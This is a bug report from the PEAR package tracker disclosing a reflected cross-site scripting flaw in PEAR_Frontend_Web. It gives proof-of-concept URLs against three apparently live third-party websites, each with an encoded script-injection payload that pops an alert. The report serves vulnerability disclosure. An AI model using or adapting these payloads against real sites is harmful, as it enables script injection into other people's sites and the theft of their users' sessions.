| Package home | Report new bug | New search | Development Roadmap | Status: Open | Feedback | All | Closed Since Version 0.7.5 |
| Bug #21245 | xss reflected on pear package management system | ||
|---|---|---|---|
| Submitted: | 2017-10-06 07:17 UTC | ||
| From: | lacrouteserge | Assigned: | |
| Status: | Open | Package: | PEAR_Frontend_Web |
| PHP Version: | Irrelevant | OS: | |
| Roadmaps: | (Not assigned) | ||
[2017-10-06 07:17 UTC] lacrouteserge
(serge lacroute)
Description:
------------
xss reflected on pear package management system
http://www.refreshltd.co.uk/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
Test script:
---------------
xss reflected on pear package management system
http://www.refreshltd.co.uk/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://www.sagamicc.org/install/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
http://funrunwalk.nz/pear/index.php?command=info&pkg=%22/%3E%3C/script%3E%3Cscript%3Ealert(/OPENBUGBOUNTY/);%3C/script%3E
Expected result:
----------------
view popup